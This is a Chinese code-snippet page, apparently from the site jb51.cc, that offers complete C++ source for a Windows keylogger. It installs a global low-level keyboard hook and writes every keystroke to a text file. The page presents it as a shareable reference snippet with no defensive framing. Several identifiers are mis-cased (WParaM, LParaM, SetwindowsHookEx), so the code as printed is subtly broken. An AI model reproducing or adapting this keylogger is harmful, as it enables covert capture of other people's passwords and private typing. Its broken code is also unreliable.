Windows下C++通过Hooks记录键盘敲击记录

下面是编程之家 jb51.cc 通过网络收集整理的代码片段。

编程之家小编现在分享给大家,也给大家做个参考。

#define _WIN32_WINNT 0x0500
 
#include<fstream>
#include<windows.h>
 
using namespace std;
 
ofstream out("keys.txt",ios::out);
 
LRESULT CALLBACK keyboardHookProc(int nCode,WParaM wParam,LParaM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
     
    // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {
 
            // Invisible keys
            case VK_CAPITAL:    out << "<CAPLOCK>";     break;
            case VK_SHIFT:      out << "<SHIFT>";       break;
            case VK_LCONTROL:   out << "<LCTRL>";       break;
            case VK_RCONTROL:   out << "<RCTRL>";       break;
            case VK_INSERT:     out << "<INSERT>";      break;
            case VK_END:        out << "<END>";         break;
            case VK_PRINT:      out << "<PRINT>";       break;
            case VK_DELETE:     out << "<DEL>";         break;
            case VK_BACK:       out << "<BK>";          break;
 
            case VK_LEFT:       out << "<LEFT>";        break;
            case VK_RIGHT:      out << "<RIGHT>";       break;
            case VK_UP:         out << "<UP>";          break;
            case VK_DOWN:       out << "<DOWN>";        break;
 
            // Visible keys
            default:
                out << char(tolower(p->vkCode));
 
        }
    }
 
    return CallNextHookEx(NULL,nCode,wParam,lParam);
}
 
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) {
 
    // Set windows hook
    HHOOK keyboardHook = SetwindowsHookEx(
        WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
 
    MessageBox(NULL,"Press OK to stop logging.","information",MB_OK);
 
    out.close();
 
    return 0;
}

以上是编程之家(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。

如果觉得编程之家网站内容还不错,欢迎将编程之家网站推荐给程序员好友。

相关文章

本程序的编译和运行环境如下(如果有运行方面的问题欢迎在评...
水了一学期的院选修,万万没想到期末考试还有比较硬核的编程...
补充一下,先前文章末尾给出的下载链接的完整代码含有部分C&...
思路如标题所说采用模N取余法,难点是这个除法过程如何实现。...
本篇博客有更新!!!更新后效果图如下: 文章末尾的完整代码...
刚开始学习模块化程序设计时,估计大家都被形参和实参搞迷糊...